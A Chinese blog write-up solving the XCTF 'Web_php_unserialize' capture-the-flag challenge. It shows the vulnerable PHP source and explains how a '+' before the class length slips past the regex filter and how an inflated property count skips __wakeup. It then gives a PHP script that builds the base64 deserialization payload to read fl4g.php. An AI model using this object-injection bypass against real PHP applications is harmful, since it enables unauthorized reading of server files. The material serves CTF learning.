XCTF(Web_php_unserialize)

拿到题目,是个这,

XCTF(Web_php_unserialize)

 

我们来一波代码审计

 1 <?php 
 2 class Demo { 
 3     private $file = 'index.php';
 4     public function __construct($file) { 
 5         $this->file = $file;  //构造函数,对类的变量进行初始化
 6     }
 7     function __destruct() { 
 8         echo @highlight_file($this->file, true); 
 9     }
10 
11     //魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
12     function __wakeup() { 
13         if ($this->file != 'index.php') { 
14             //the secret is in the fl4g.php
15             $this->file = 'index.php'; 
16         } 
17     } 
18 }
19 if (isset($_GET['var'])) { 
20     $var = base64_decode($_GET['var']); 
21 
22     //正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
23     if (preg_match('/[oc]:\d+:/i', $var)) { 
24         die('stop hacking!'); 
25     } else {
26         @unserialize($var); 
27     } 
28 } else { 
29     highlight_file("index.php"); 
30 } 
31 ?>

审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了 在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。 在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。
写一个序列化的脚本

 1 <?php
 2 class Demo { 
 3     private $file = 'index.php';
 4     public function __construct($file) { 
 5         $this->file = $file; 
 6     }
 7     function __destruct() { 
 8         echo @highlight_file($this->file, true); 
 9     }
10     function __wakeup() { 
11         if ($this->file != 'index.php') { 
12             //the secret is in the fl4g.php
13             $this->file = 'index.php'; 
14         } 
15     } 
16 }
17 
18 $a = new Demo("fl4g.php");
19 echo(serialize($a))."\n";
20 echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}')."\n";
21 
22 ?>

这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00

干脆写个python脚本

XCTF(Web_php_unserialize)

 

注意在python3中,字符串被b''包围,\0表示空格

php中也ok

XCTF(Web_php_unserialize)

 

 

上一篇:vs.net2015发布web网站时,提示JsonIgnoreAttribute无法找到的解决办法


下一篇:PHP图片加文字水印和图片水印方法